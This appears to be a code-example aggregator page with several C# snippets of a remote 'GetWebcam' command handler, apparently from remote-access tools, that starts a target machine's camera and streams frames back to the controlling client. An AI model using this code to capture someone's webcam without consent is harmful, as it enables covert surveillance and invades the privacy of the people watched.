Пример #1
0
 public static void HandleGetWebcam(GetWebcam command, Client client)
 {
     Client       = client;
     NeedsCapture = true;
     Webcam       = command.Webcam;
     if (!WebcamStarted)
     {
         var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
         FinalVideo           = new VideoCaptureDevice(videoCaptureDevices[command.Webcam].MonikerString);
         FinalVideo.NewFrame += FinalVideo_NewFrame;
         FinalVideo.Start();
         WebcamStarted = true;
     }
 }
Пример #2
0
 public static void getWebcam(GetWebcam command, ClientMosaique client)
 {
     c            = client;
     needsCapture = true;
     webcam       = command.webcam;
     quality      = command.quality;
     if (!webcamStarted)
     {
         var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
         finalVideo                 = new VideoCaptureDevice(videoCaptureDevices[command.webcam].MonikerString);
         finalVideo.NewFrame       += finalVideo_NewFrame;
         finalVideo.VideoResolution = finalVideo.VideoCapabilities[command.quality];
         finalVideo.Start();
         webcamStarted = true;
     }
 }
        private void Execute(ISender client, GetWebcam message)
        {
            if (message.Destroy)
            {
                _webcamHelper.StopRunningVideo();
                OnReport("Remote webcam session stopped");
                return;
            }

            _webcamHelper.Init(message.DisplayIndex);

            var resolution = new Resolution {
                Height = _webcamHelper._resolution.Height, Width = _webcamHelper._resolution.Width
            };

            if (_streamCodec == null)
            {
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (message.CreateNew)
            {
                _streamCodec?.Dispose();
                _webcamHelper.NewVideoSource(message.DisplayIndex);
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
                OnReport("Remote webcam session started");
            }

            if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
            {
                _streamCodec?.Dispose();
                _webcamHelper.NewVideoSource(message.DisplayIndex);
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (_webcamHelper._currentFrame == null)
            {
                Bitmap emptyFrame = new Bitmap(1920, 1080, PixelFormat.Format32bppPArgb);
                SendFrame(client, emptyFrame, resolution);
            }
            else
            {
                Bitmap webcamFrame = new Bitmap(_webcamHelper._currentFrame);
                SendFrame(client, webcamFrame, resolution);
            }
        }
Пример #4
0
        public static void getWebcam(GetWebcam command, ClientMosaique client)
        {
            try
            {
                c            = client;
                needsCapture = true;
                webcam       = command.webcam;
                quality      = command.quality;
                if (!webcamStarted)
                {
                    var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
                    finalVideo           = new VideoCaptureDevice(videoCaptureDevices[command.webcam].MonikerString);
                    finalVideo.NewFrame += finalVideo_NewFrame;

                    if (finalVideo.VideoCapabilities[command.quality].FrameSize.Width > 1280 && finalVideo.VideoCapabilities[command.quality].FrameSize.Height > 960)
                    {
                        if (finalVideo.VideoCapabilities.Length > 0)
                        {
                            int i = 0;
                            while (finalVideo.VideoCapabilities[i].FrameSize.Width > 1280 && finalVideo.VideoCapabilities[i].FrameSize.Height > 960 && i < finalVideo.VideoCapabilities.Length)
                            {
                                i++;
                            }
                            finalVideo.VideoResolution = finalVideo.VideoCapabilities[i];
                        }
                        else
                        {
                            return;
                        }
                    }
                    else
                    {
                        finalVideo.VideoResolution = finalVideo.VideoCapabilities[command.quality];
                    }

                    finalVideo.Start();
                    webcamStarted = true;
                }
            }
            catch (Exception ex)
            {
                System.Windows.Forms.MessageBox.Show(ex.ToString(), "RemoteWebcamController - getWebcam()");
            }
        }